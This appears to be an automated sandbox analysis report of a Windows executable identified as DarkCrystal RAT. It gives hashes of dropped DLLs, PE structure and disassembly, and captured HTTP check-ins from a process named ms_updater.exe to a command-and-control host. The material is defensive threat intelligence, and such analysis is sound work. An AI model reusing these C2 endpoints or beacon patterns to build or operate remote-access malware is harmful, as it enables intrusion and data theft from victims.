Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L...H)_f................................. ........@.. ....................... ............@.....................................S....... ............................................................................ ............... ..H............text....... ...................... ..`.rsrc... ...........................@..@.reloc..............................@..B........................H.......X...0.......v...................................................P...........W...........S...........[...........Q...........Y...........U.......A...]........@..P...........X...........T.......!...\........ ..R...........Z...........V....................`..P...........W...........S...........[...........Q...........Y...........U.......a...]........`..P...........X...........T.......1...\........0..R...........Z...........V....................`..........................

C:\Users\user\Desktop\gOvRVAND.log

Download File

Process:	C:\Users\user\AppData\Roaming\ms_updater.exe
File Type:	PE32 executable (DLL) (console) Intel 80386 Mono/.Net assembly, for MS Windows
Category:	dropped
Size (bytes):	69632
Entropy (8bit):	5.932541123129161
Encrypted:	false
SSDEEP:	1536:yo63BdpcSWxaQ/RKd8Skwea/e+hTEqS/ABGegJBb07j:j+9W+p/LEqu6GegG
MD5:	F4B38D0F95B7E844DD288B441EBC9AAF
SHA1:	9CBF5C6E865AE50CEC25D95EF70F3C8C0F2A6CBF
SHA-256:	AAB95596475CA74CEDE5BA50F642D92FA029F6F74F6FAEAE82A9A07285A5FB97
SHA-512:	2300D8FC857986DC9560225DE36C221C6ECB4F98ADB954D896ED6AFF305C3A3C05F5A9F1D5EF0FC9094355D60327DDDFAFC81A455596DCD28020A9A89EF50E1A
Malicious:	true
Antivirus:	Antivirus: Avira, Detection: 100% Antivirus: ReversingLabs, Detection: 17%
Joe Sandbox View:	Filename: Vg46FzGtNo.exe, Detection: malicious, Browse Filename: hZE4solQRQ.exe, Detection: malicious, Browse Filename: AK4VPeDc0M.exe, Detection: malicious, Browse Filename: 6Z4Q4bREii.exe, Detection: malicious, Browse Filename: a6zbacl43h.exe, Detection: malicious, Browse Filename: BbaXbvOA7D.exe, Detection: malicious, Browse Filename: cL7A9wGE3w.exe, Detection: malicious, Browse Filename: j05KsN2280.exe, Detection: malicious, Browse Filename: 2lR1Spui9w.exe, Detection: malicious, Browse Filename: b8khu7cOny.exe, Detection: malicious, Browse
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L....;.d.........." .................'... ...@....@.. ....................................@.................................\'..O....@.......................`....................................................... ............... ..H............text........ ...................... ..`.rsrc........@......................@..@.reloc.......`......................@..B.................'......H.......l....^..........t...............................................c\|w{.ko.0.g+..v..}.YG.....r....&6?..4...q.1...#..........'.u..,..nZ.R;.)./.S... ..[j.9JLX....CM3.E...P<..Q.@...8....!........_.D..~=d].s`.O."*..F...^...2:.I.$\..b...y..7m..N.lV..ez...x%.......t.K...p>.fH...a5W.........i.......U(......BhA.-..T..R.j.06.8.@......\|.9../..4.CD....T{.2..#=.L..B..N...f(.$.v[.Im..%r..d.h...\.]e..lpHP...^.FW.............X...E..,...?.........k:..AOg.......s..t".5.

C:\Users\user\Desktop\mHYqxgSr.log

Download File

Process:	C:\Users\user\AppData\Roaming\ms_updater.exe
File Type:	PE32 executable (DLL) (console) Intel 80386 Mono/.Net assembly, for MS Windows
Category:	dropped
Size (bytes):	24064
Entropy (8bit):	5.4346552043530165
Encrypted:	false
SSDEEP:	384:fTcm673m4NrYnbspeYMDnw4aU04pWfs8xLDpHEm1r1yNq/:ABNUbfYM8NT4pWkoDxfB4N
MD5:	1DCDE09C6A8CE8F5179FB24D0C5A740D
SHA1:	1A2298CB4E9CAB6F5C2894266F42D7912EDD294B
SHA-256:	1F02230A8536ADB1D6F8DADFD7CA8CA66B5528EC98B15693E3E2F118A29D49D8
SHA-512:	5D3D5B9E6223501B2EE404937C62893BDDB735A2B8657FAFF8C8F4CED55A9537F2C11BA97734F72360195C35CE6C0BF1EC4AAAFD77AB569919B03344ADFD9D77
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 6%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L......e...........!.....V...........t... ........@.. ....................................@..................................s..S.................................................................................... ............... ..H............text....T... ...V.................. ..`.rsrc................X..............@..@.reloc...............\..............@..B.................s......H........Q..."...........O......................................................................................................................................................................xHz9..T....[.y..................................................................#...+...3...;...C...S...c...s...................................................................................................................................................................................

\Device\Null

Download File

Process:	C:\Windows\System32\w32tm.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	151
Entropy (8bit):	4.759057333148783
Encrypted:	false
SSDEEP:	3:VLV993J+miJWEoJ8FXxX9RStbMGOZ8XKvobPKvj:Vx993DEU2tRCMGE8F7s
MD5:	2E35F958FD06F112889CDF43279294AA
SHA1:	73FD07F58A1007EBBF3E724D9CB13116E426CB66
SHA-256:	40B3463A2FBC241489DE4B54AC91BB631580CA742E0E2D37C2FABC304CE77CFB
SHA-512:	C3793964D15E5B2D66E42C72BF2092D7930C8A62EEF7E6F86A2162AF03C8606E1A7E5D0DAB3C457A5C4FBB02F8642E1C11FC89A37D12273B4028B571C53C02F8
Malicious:	false
Preview:	Tracking localhost [[::1]:123]..Collecting 2 samples..The current time is 03/07/2024 11:32:02..11:32:02, error: 0x80072746.11:32:07, error: 0x80072746.

Static File Info

General

File type:	PE32 executable (GUI) Intel 80386, for MS Windows
Entropy (8bit):	7.813048403740222
TrID:	Win32 Executable (generic) a (10002005/4) 99.96% Generic Win/DOS Executable (2004/3) 0.02% DOS Executable Generic (2002/1) 0.02% Autodesk FLIC Image File (extensions: flc, fli, cel) (7/3) 0.00%
File name:	1hibLFnCm1.exe
File size:	906'240 bytes
MD5:	2196edd4ad9d7e8ca345339a66e2fed5
SHA1:	d604a25d04700d19896c1dfe12586568fae5c32f
SHA256:	90a9d213bced2844dbf8a635244a85f29fa5af2c439ca7782709b1ebe304734a
SHA512:	73dae769c4f6aff412d7da1241fc2259a28f1be667239a926c304f0e13bf30f1f9e0ec76e09e914afc7ef520ee2656b9cfe7ac5670be78e148571cdeedcf6fef
SSDEEP:	24576:SrSvamteGeyJhlvWr6ZPk9DXlEqSdVnhU2EaPM:LvaQNJhBQXlEPhY
TLSH:	CE15021038D1C472E463253708E5DB7EA97EB9201B2699EF67D80F7E8F602C1D63196B
File Content Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$........a.S............Xr......Xr..$...Xr......Xr...............\|.......\|.......\|......J\|......J\|......Rich....................PE..L..

File Icon


Icon Hash:	90cececece8e8eb0

Static PE Info

General

Entrypoint:	0x40afe6
Entrypoint Section:	.text
Digitally signed:	false
Imagebase:	0x400000
Subsystem:	windows gui
Image File Characteristics:	EXECUTABLE_IMAGE, 32BIT_MACHINE
DLL Characteristics:	DYNAMIC_BASE, NX_COMPAT, TERMINAL_SERVER_AWARE
Time Stamp:	0x66796FE3 [Mon Jun 24 13:08:51 2024 UTC]
TLS Callbacks:
CLR (.Net) Version:
OS Version Major:	6
OS Version Minor:	0
File Version Major:	6
File Version Minor:	0
Subsystem Version Major:	6
Subsystem Version Minor:	0
Import Hash:	a19e926f66227883d74cdde041d55af8

Entrypoint Preview

Instruction
call 00007FA52C7DDCEBh
jmp 00007FA52C7DD279h
cmp ecx, dword ptr [004390F0h]
jne 00007FA52C7DD403h
ret
jmp 00007FA52C7DE034h
call 00007FA52C7DD427h
push 00000000h
call 00007FA52C7DD6BDh
pop ecx
test al, al
je 00007FA52C7DD410h
push 0040B0A7h
call 00007FA52C7DD83Bh
pop ecx
xor eax, eax
ret
push 00000007h
call 00007FA52C7DDD72h
int3
push esi
push edi
push 00000FA0h
push 0043B564h
call dword ptr [0042A0A8h]
push 0042B2C0h
call dword ptr [0042A098h]
mov esi, eax
test esi, esi
jne 00007FA52C7DD413h
push 0042B1B0h
call dword ptr [0042A098h]
mov esi, eax
test esi, esi
je 00007FA52C7DD448h
push 0042B304h
push esi
call dword ptr [0042A09Ch]
push 0042B320h
push esi
mov edi, eax
call dword ptr [0042A09Ch]
test edi, edi
je 00007FA52C7DD414h
test eax, eax
je 00007FA52C7DD410h
mov dword ptr [0043B57Ch], edi
mov dword ptr [0043B580h], eax
pop edi
pop esi
ret
xor eax, eax
push eax
push eax
push 00000001h
push eax
call dword ptr [0042A0B4h]
mov dword ptr [0043B560h], eax
test eax, eax
jne 00007FA52C7DD3E9h
push 00000007h
call 00007FA52C7DDCF0h
int3
push 0043B564h
call dword ptr [00000000h]

Data Directories

Name	Virtual Address	Virtual Size	Is in Section
IMAGE_DIRECTORY_ENTRY_EXPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_IMPORT	0x384d8	0x3c	.rdata
IMAGE_DIRECTORY_ENTRY_RESOURCE	0x0	0x0
IMAGE_DIRECTORY_ENTRY_EXCEPTION	0x0	0x0
IMAGE_DIRECTORY_ENTRY_SECURITY	0x0	0x0
IMAGE_DIRECTORY_ENTRY_BASERELOC	0xdf000	0x22cc	.reloc
IMAGE_DIRECTORY_ENTRY_DEBUG	0x359e0	0x1c	.rdata
IMAGE_DIRECTORY_ENTRY_COPYRIGHT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_GLOBALPTR	0x0	0x0
IMAGE_DIRECTORY_ENTRY_TLS	0x35a00	0x18	.rdata
IMAGE_DIRECTORY_ENTRY_LOAD_CONFIG	0x35920	0x40	.rdata
IMAGE_DIRECTORY_ENTRY_BOUND_IMPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_IAT	0x2a000	0x194	.rdata
IMAGE_DIRECTORY_ENTRY_DELAY_IMPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_COM_DESCRIPTOR	0x0	0x0
IMAGE_DIRECTORY_ENTRY_RESERVED	0x0	0x0

Sections

Name	Virtual Address	Virtual Size	Raw Size	MD5	Xored PE	ZLIB Complexity	File Type	Entropy	Characteristics
.text	0x1000	0x28624	0x28800	b79b2967169a57e5028b529684b3a809	False	0.5810546875	data	6.67439707769049	IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ
.rdata	0x2a000	0xee50	0xf000	24d43e26b25d45b4631cea07d7edce5a	False	0.5040852864583333	data	5.425027509027553	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ
.data	0x39000	0x30b8	0x2200	965d6c26d3b76e34c9475ea4d7b074f8	False	0.18278952205882354	data	4.364199987344561	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
.cSs	0x3d000	0xa1048	0xa1200	01ae398439bf4256266bb8f576d9fca0	False	0.9997302899534523	data	7.9996402860929505	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
.reloc	0xdf000	0x22cc	0x2400	30e9b8aec64eccd34c91b4272f38c4f5	False	0.7211371527777778	data	6.466403740176183	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_DISCARDABLE, IMAGE_SCN_MEM_READ

Imports

DLL

Import

ole32.dll

CoGetObjectContext, CoGetApartmentType

KERNEL32.dll

SetEndOfFile, HeapSize, WaitForSingleObject, LoadLibraryW, CreateThread, RaiseException, GetCurrentThreadId, IsProcessorFeaturePresent, GetLastError, FreeLibraryWhenCallbackReturns, CreateThreadpoolWork, SubmitThreadpoolWork, CloseThreadpoolWork, GetModuleHandleExW, MultiByteToWideChar, InitializeConditionVariable, WakeConditionVariable, WakeAllConditionVariable, SleepConditionVariableSRW, InitOnceComplete, InitOnceBeginInitialize, GetStringTypeW, InitializeSRWLock, ReleaseSRWLockExclusive, AcquireSRWLockExclusive, TryAcquireSRWLockExclusive, WideCharToMultiByte, CloseHandle, WaitForSingleObjectEx, QueryPerformanceCounter, EnterCriticalSection, LeaveCriticalSection, InitializeCriticalSectionEx, DeleteCriticalSection, EncodePointer, DecodePointer, LCMapStringEx, GetSystemTimeAsFileTime, GetModuleHandleW, GetProcAddress, WriteConsoleW, GetCPInfo, InitializeCriticalSectionAndSpinCount, SetEvent, ResetEvent, CreateEventW, GetCurrentProcessId, InitializeSListHead, IsDebuggerPresent, UnhandledExceptionFilter, SetUnhandledExceptionFilter, GetStartupInfoW, GetCurrentProcess, TerminateProcess, ReadConsoleW, RtlUnwind, SetLastError, TlsAlloc, TlsGetValue, TlsSetValue, TlsFree, FreeLibrary, LoadLibraryExW, GetStdHandle, WriteFile, GetModuleFileNameW, ExitProcess, GetCommandLineA, GetCommandLineW, HeapAlloc, HeapFree, CompareStringW, LCMapStringW, GetLocaleInfoW, IsValidLocale, GetUserDefaultLCID, EnumSystemLocalesW, GetFileType, GetConsoleOutputCP, GetConsoleMode, GetFileSizeEx, SetFilePointerEx, FlushFileBuffers, ReadFile, HeapReAlloc, FindClose, FindFirstFileExW, FindNextFileW, IsValidCodePage, GetACP, GetOEMCP, GetEnvironmentStringsW, FreeEnvironmentStringsW, SetEnvironmentVariableW, SetStdHandle, GetProcessHeap, CreateFileW

Network Behavior

Snort IDS Alerts

Timestamp	Protocol	SID	Message	Source Port	Dest Port	Source IP	Dest IP
07/03/24-15:52:06.253098	TCP	2048095	ET TROJAN [ANY.RUN] DarkCrystal Rat Check-in (POST)	49730	80	192.168.2.4	104.21.90.190

Network Port Distribution

TCP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Jul 3, 2024 15:52:06.247704983 CEST	49730	80	192.168.2.4	104.21.90.190
Jul 3, 2024 15:52:06.252676964 CEST	80	49730	104.21.90.190	192.168.2.4
Jul 3, 2024 15:52:06.252785921 CEST	49730	80	192.168.2.4	104.21.90.190
Jul 3, 2024 15:52:06.253098011 CEST	49730	80	192.168.2.4	104.21.90.190
Jul 3, 2024 15:52:06.257894993 CEST	80	49730	104.21.90.190	192.168.2.4
Jul 3, 2024 15:52:06.608555079 CEST	49730	80	192.168.2.4	104.21.90.190
Jul 3, 2024 15:52:06.824548006 CEST	80	49730	104.21.90.190	192.168.2.4
Jul 3, 2024 15:52:06.825920105 CEST	80	49730	104.21.90.190	192.168.2.4
Jul 3, 2024 15:52:06.873346090 CEST	49730	80	192.168.2.4	104.21.90.190
Jul 3, 2024 15:52:07.419704914 CEST	80	49730	104.21.90.190	192.168.2.4
Jul 3, 2024 15:52:07.419821978 CEST	80	49730	104.21.90.190	192.168.2.4
Jul 3, 2024 15:52:07.419992924 CEST	49730	80	192.168.2.4	104.21.90.190
Jul 3, 2024 15:52:07.447504044 CEST	49730	80	192.168.2.4	104.21.90.190
Jul 3, 2024 15:52:07.452497005 CEST	80	49730	104.21.90.190	192.168.2.4
Jul 3, 2024 15:52:07.552268028 CEST	80	49730	104.21.90.190	192.168.2.4
Jul 3, 2024 15:52:07.552495003 CEST	49730	80	192.168.2.4	104.21.90.190
Jul 3, 2024 15:52:07.560182095 CEST	80	49730	104.21.90.190	192.168.2.4
Jul 3, 2024 15:52:07.848247051 CEST	80	49730	104.21.90.190	192.168.2.4
Jul 3, 2024 15:52:07.888962984 CEST	49730	80	192.168.2.4	104.21.90.190
Jul 3, 2024 15:52:08.236958981 CEST	49730	80	192.168.2.4	104.21.90.190
Jul 3, 2024 15:52:08.238588095 CEST	49731	80	192.168.2.4	104.21.90.190
Jul 3, 2024 15:52:08.240210056 CEST	49732	80	192.168.2.4	104.21.90.190
Jul 3, 2024 15:52:08.242331028 CEST	80	49730	104.21.90.190	192.168.2.4
Jul 3, 2024 15:52:08.242408991 CEST	49730	80	192.168.2.4	104.21.90.190
Jul 3, 2024 15:52:08.243484020 CEST	80	49731	104.21.90.190	192.168.2.4
Jul 3, 2024 15:52:08.243566990 CEST	49731	80	192.168.2.4	104.21.90.190
Jul 3, 2024 15:52:08.243691921 CEST	49731	80	192.168.2.4	104.21.90.190
Jul 3, 2024 15:52:08.245035887 CEST	80	49732	104.21.90.190	192.168.2.4
Jul 3, 2024 15:52:08.245106936 CEST	49732	80	192.168.2.4	104.21.90.190
Jul 3, 2024 15:52:08.245197058 CEST	49732	80	192.168.2.4	104.21.90.190
Jul 3, 2024 15:52:08.248446941 CEST	80	49731	104.21.90.190	192.168.2.4
Jul 3, 2024 15:52:08.250224113 CEST	80	49732	104.21.90.190	192.168.2.4
Jul 3, 2024 15:52:08.592111111 CEST	49732	80	192.168.2.4	104.21.90.190
Jul 3, 2024 15:52:08.592216015 CEST	49731	80	192.168.2.4	104.21.90.190
Jul 3, 2024 15:52:08.597208023 CEST	80	49732	104.21.90.190	192.168.2.4
Jul 3, 2024 15:52:08.597225904 CEST	80	49731	104.21.90.190	192.168.2.4
Jul 3, 2024 15:52:08.597285032 CEST	80	49731	104.21.90.190	192.168.2.4
Jul 3, 2024 15:52:08.691548109 CEST	80	49732	104.21.90.190	192.168.2.4
Jul 3, 2024 15:52:08.710963011 CEST	80	49731	104.21.90.190	192.168.2.4
Jul 3, 2024 15:52:08.748214006 CEST	49732	80	192.168.2.4	104.21.90.190
Jul 3, 2024 15:52:08.765732050 CEST	49731	80	192.168.2.4	104.21.90.190
Jul 3, 2024 15:52:08.977560997 CEST	49735	80	192.168.2.4	104.21.90.190
Jul 3, 2024 15:52:08.982760906 CEST	80	49735	104.21.90.190	192.168.2.4
Jul 3, 2024 15:52:08.982836962 CEST	49735	80	192.168.2.4	104.21.90.190
Jul 3, 2024 15:52:08.983047962 CEST	49735	80	192.168.2.4	104.21.90.190
Jul 3, 2024 15:52:08.988084078 CEST	80	49735	104.21.90.190	192.168.2.4
Jul 3, 2024 15:52:09.044270039 CEST	80	49732	104.21.90.190	192.168.2.4
Jul 3, 2024 15:52:09.081466913 CEST	80	49731	104.21.90.190	192.168.2.4
Jul 3, 2024 15:52:09.088802099 CEST	49735	80	192.168.2.4	104.21.90.190
Jul 3, 2024 15:52:09.091959000 CEST	49732	80	192.168.2.4	104.21.90.190
Jul 3, 2024 15:52:09.123503923 CEST	49731	80	192.168.2.4	104.21.90.190
Jul 3, 2024 15:52:09.138557911 CEST	80	49735	104.21.90.190	192.168.2.4
Jul 3, 2024 15:52:09.190867901 CEST	49732	80	192.168.2.4	104.21.90.190
Jul 3, 2024 15:52:09.192212105 CEST	49736	80	192.168.2.4	104.21.90.190
Jul 3, 2024 15:52:09.197024107 CEST	80	49732	104.21.90.190	192.168.2.4
Jul 3, 2024 15:52:09.197082996 CEST	49732	80	192.168.2.4	104.21.90.190
Jul 3, 2024 15:52:09.197189093 CEST	80	49736	104.21.90.190	192.168.2.4
Jul 3, 2024 15:52:09.197253942 CEST	49736	80	192.168.2.4	104.21.90.190
Jul 3, 2024 15:52:09.197371960 CEST	49736	80	192.168.2.4	104.21.90.190
Jul 3, 2024 15:52:09.202219009 CEST	80	49736	104.21.90.190	192.168.2.4
Jul 3, 2024 15:52:09.363048077 CEST	80	49735	104.21.90.190	192.168.2.4
Jul 3, 2024 15:52:09.363112926 CEST	49735	80	192.168.2.4	104.21.90.190
Jul 3, 2024 15:52:09.538980007 CEST	49731	80	192.168.2.4	104.21.90.190
Jul 3, 2024 15:52:09.539022923 CEST	49736	80	192.168.2.4	104.21.90.190

UDP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Jul 3, 2024 15:52:05.394722939 CEST	51545	53	192.168.2.4	1.1.1.1
Jul 3, 2024 15:52:06.240715027 CEST	53	51545	1.1.1.1	192.168.2.4

DNS Queries

Timestamp	Source IP	Dest IP	Trans ID	OP Code	Name	Type	Class	DNS over HTTPS
Jul 3, 2024 15:52:05.394722939 CEST	192.168.2.4	1.1.1.1	0x8edc	Standard query (0)	118621cm.n9shteam2.top	A (IP address)	IN (0x0001)	false

DNS Answers

Timestamp	Source IP	Dest IP	Trans ID	Reply Code	Name	CName	Address	Type	Class	DNS over HTTPS
Jul 3, 2024 15:52:06.240715027 CEST	1.1.1.1	192.168.2.4	0x8edc	No error (0)	118621cm.n9shteam2.top		104.21.90.190	A (IP address)	IN (0x0001)	false
Jul 3, 2024 15:52:06.240715027 CEST	1.1.1.1	192.168.2.4	0x8edc	No error (0)	118621cm.n9shteam2.top		172.67.159.202	A (IP address)	IN (0x0001)	false

HTTP Request Dependency Graph

118621cm.n9shteam2.top

HTTP Packets

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
0	192.168.2.4	49730	104.21.90.190	80	6768	C:\Users\user\AppData\Roaming\ms_updater.exe

Timestamp	Bytes transferred	Direction	Data
Jul 3, 2024 15:52:06.253098011 CEST	348	OUT	POST /protecttrackDatalifePrivateCentral.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/95.0.4638.69 Safari/537.36 Edg/95.0.1020.53 Host: 118621cm.n9shteam2.top Content-Length: 344 Expect: 100-continue Connection: Keep-Alive
Jul 3, 2024 15:52:06.608555079 CEST	344	OUT	Data Raw: 00 02 04 04 03 0d 04 07 05 06 02 01 02 04 01 0b 00 05 05 0c 02 06 03 0c 00 54 0e 54 04 53 03 53 0a 0e 07 0f 03 04 07 04 0b 04 05 06 05 04 05 52 05 07 0f 0e 0f 07 07 52 06 03 06 0d 04 04 06 0f 05 07 0d 0b 05 04 04 55 0e 52 0c 07 0f 01 0d 02 05 50 Data Ascii: TTSSRRURPSTU\L~pvO`bqaKsQRvYwBZhc^lcExNPD\|mpActc\~u~V@@z}n}\a
Jul 3, 2024 15:52:06.824548006 CEST	25	IN	HTTP/1.1 100 Continue
Jul 3, 2024 15:52:07.419704914 CEST	1236	IN	HTTP/1.1 200 OK Date: Wed, 03 Jul 2024 13:52:07 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=Vr2HfW8qOsW6vGt%2BwA08C92fQKzVCPE7CAtva%2B34w%2FYv3DJ29B03aq%2Fwa044J8btHiEsgHzwGu4uoDgu0Bu8KPylY5MdASafkZU7NadNY6%2B6LnC35%2FAzWZKdEQbM5MmpOR%2BC0Dfj9RU5"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 89d75aa999ac15d7-EWR alt-svc: h3=":443"; ma=86400 Data Raw: 35 32 38 0d 0a 56 4a 7e 01 6c 6d 56 5e 6c 71 78 4b 7c 61 6b 01 7d 67 7f 42 7f 70 7a 50 7b 63 5a 42 6a 72 7f 58 60 5d 54 52 6d 5f 69 4a 61 48 60 45 7d 61 78 01 55 4b 71 40 63 71 7f 03 7d 72 61 4d 68 64 75 54 6f 66 63 55 7e 5a 63 48 61 5c 79 07 77 58 76 5d 68 58 69 5c 7f 7c 67 55 7e 01 63 01 77 76 7b 06 7c 5c 54 5b 7e 06 62 5f 7b 59 5e 05 79 74 7c 05 6f 6e 63 00 6d 5b 7c 02 6f 5d 65 5b 7f 60 7b 5a 6c 77 5e 03 7e 5c 73 4d 75 61 59 59 7a 51 41 5b 7c 77 78 0b 7c 62 65 4e 77 7f 74 4e 6c 6c 5a 02 77 5e 75 54 79 61 6e 5c 69 52 7a 04 78 72 75 59 61 60 6c 5f 62 61 73 5f 63 72 7a 50 7e 5d 7a 06 77 62 6d 05 76 66 6c 09 6b 7f 75 00 60 6f 6b 5d 7c 73 6c 49 78 6f 7f 03 7b 5e 65 5b 7c 6d 6f 51 77 67 6f 5d 69 62 54 09 7d 6e 78 50 6c 43 7e 41 7e 04 7d 4e 7b 5d 46 51 7d 6f 6c 43 7e 60 59 53 7e 77 7a 00 6f 7e 67 01 79 72 74 4b 7c 4f 5a 5f 6a 5e 7b 42 7c 70 72 53 6d 60 74 01 7d 5c 5e 46 74 5d 71 51 7b 5c 79 02 75 48 60 06 7c 66 68 4f 7d 66 53 0d 77 62 6b 49 7c 4c 75 04 7f 67 58 0b 79 76 52 0b 7e 4d 59 03 76 72 61 02 74 [TRUNCATED] Data Ascii: 528VJ~lmV^lqxK\|ak}gBpzP{cZBjrX`]TRm_iJaH`E}axUKq@cq}raMhduTofcU~ZcHa\ywXv]hXi\\|gU~cwv{\|\T[~b_{Y^yt\|oncm[\|o]e[`{Zlw^~\sMuaYYzQA[\|wx\|beNwtNllZw^uTyan\iRzxruYa`l_bas_crzP~]zwbmvflku`ok]\|slIxo{^e[\|moQwgo]ibT}nxPlC~A~}N{]FQ}olC~`YS~wzo~gyrtK\|OZ_j^{B\|prSm`t}\^Ft]qQ{\yuH`\|fhO}fSwbkI\|LugXyvR~MYvratamH\|_r~l`A}IsDuO{G{ba~^y{wp{YRMxSyblzc\L^Z{Ix\|rQv_V~lIdqeAvlhx\|\|HwpT@y_}~\|vzqPuMoDu_dOwOT~pftL_uu^\|SwB^MtI{\|UJxpTK}mttYpAbf}mQB{mT}bqNtBZC~pt~wbN{SwKybhIOk\|wo~`ezsZL}bdFts[OyOeJwfhK~Xx@fuw\U\|\q\|gX@xHp}ssHu\ava}H_~F}\|p@~gcvOUH{r_I}NaxYRywt{CwHxbt{Mv{]
Jul 3, 2024 15:52:07.419821978 CEST	689	IN	Data Raw: 4e 5a 78 67 5d 5b 7c 61 64 5f 62 62 6c 04 6a 6f 67 06 7d 77 78 42 68 61 5f 0d 62 6c 5d 5d 6f 6c 52 02 63 73 6d 54 79 5f 71 47 7d 7f 66 5f 7a 5c 79 05 76 7f 78 42 61 07 67 78 5b 4c 7e 4a 78 59 61 5a 60 61 7e 58 75 4b 51 54 7f 52 6a 5c 60 6f 6b 58 Data Ascii: NZxg][\|ad_bbljog}wxBha_bl]]olRcsmTy_qG}f_z\yvxBagx[L~JxYaZ`a~XuKQTRj\`okX]ZI{l]K{zkm\|wwl~abzSYQ`q[QqBjwOSoR\|cHWtaNQz{@\YYhbhYiYUk`[OmMR}\dcZbTnaX^bf]X\|f\|}HvQp\B{[TYPqJRe]HQ[Ibn~cmvx_\X{~ZKu_ExLuYwr]ldCT{o[W
Jul 3, 2024 15:52:07.447504044 CEST	324	OUT	POST /protecttrackDatalifePrivateCentral.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/95.0.4638.69 Safari/537.36 Edg/95.0.1020.53 Host: 118621cm.n9shteam2.top Content-Length: 384 Expect: 100-continue
Jul 3, 2024 15:52:07.552268028 CEST	25	IN	HTTP/1.1 100 Continue
Jul 3, 2024 15:52:07.552495003 CEST	384	OUT	Data Raw: 5e 57 5d 5d 5d 58 50 54 5c 5f 55 57 57 54 50 59 57 55 5f 43 59 59 50 45 58 5e 5c 58 52 5e 55 57 5a 45 53 58 56 5d 56 57 5d 55 52 5e 5f 5a 55 53 50 53 59 5f 58 5a 50 5a 56 5f 53 59 59 59 5f 5a 5b 5c 58 5a 55 58 59 5d 58 5d 5c 5b 59 52 58 57 50 5c Data Ascii: ^W]]]XPT\_UWWTPYWU_CYYPEX^\XR^UWZESXV]VW]UR^_ZUSPSY_XZPZV_SYYY_Z[\XZUXY]X]\[YRXWP\PRRXZXVURVYTWPYVZ_]X^T_Z]]^YF_X]UT\YV\XS][_YD^ZRVRW^XZG^XTVZ\WP\_]Q^_[[__Q_][V[QX__Y\WWGZQ_[T\]WY\^YZ\.Z3V/%#V$'=%4 8[<4:[&:;S<1<R%-$" W88"Y.$[,
Jul 3, 2024 15:52:07.848247051 CEST	752	IN	HTTP/1.1 200 OK Date: Wed, 03 Jul 2024 13:52:07 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=cYDYNTNHEhaufcPii7YtEmonyPiwkNTlPtYb%2F1xPTPP%2F0iRDclphq2%2BB9MkXLDPw8fjfG1rJQJiLUecG1BwKm7htJvVKElfw%2Fso6muHz9toWbm9Fa39%2FT5M5ZGZCYpInveeTE843SCMN"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 89d75aaedce515d7-EWR alt-svc: h3=":443"; ma=86400 Data Raw: 39 38 0d 0a 0d 1f 22 59 20 05 0b 0f 21 02 37 54 2a 5e 39 00 2a 3b 39 41 27 2c 35 1b 32 3f 08 5c 3b 2f 23 19 26 27 20 5e 2b 12 08 0f 32 30 06 55 27 38 2a 51 03 1b 20 03 32 05 3a 11 28 00 02 5f 25 28 3a 01 31 3e 23 5b 2b 3a 23 10 20 06 3e 5c 30 0a 34 0b 2b 5f 32 51 2f 07 28 1a 2e 22 2a 0a 35 24 2d 54 0f 1f 20 5d 32 3c 24 56 22 0e 26 58 31 58 26 01 34 03 37 51 22 17 02 13 25 2f 3b 10 26 38 28 07 30 54 2c 5f 29 21 23 1f 28 05 28 0b 3c 3b 26 50 2f 01 23 52 01 34 5c 57 0d 0a 30 0d 0a 0d 0a Data Ascii: 98"Y !7T^9;9A',52?\;/#&' ^+20U'8Q 2:(_%(:1>#[+:# >\04+_2Q/(."5$-T ]2<$V"&X1X&47Q"%/;&8(0T,_)!#((<;&P/#R4\W0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1	192.168.2.4	49731	104.21.90.190	80	6768	C:\Users\user\AppData\Roaming\ms_updater.exe

Timestamp	Bytes transferred	Direction	Data
Jul 3, 2024 15:52:08.243691921 CEST	325	OUT	POST /protecttrackDatalifePrivateCentral.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/95.0.4638.69 Safari/537.36 Edg/95.0.1020.53 Host: 118621cm.n9shteam2.top Content-Length: 1536 Expect: 100-continue
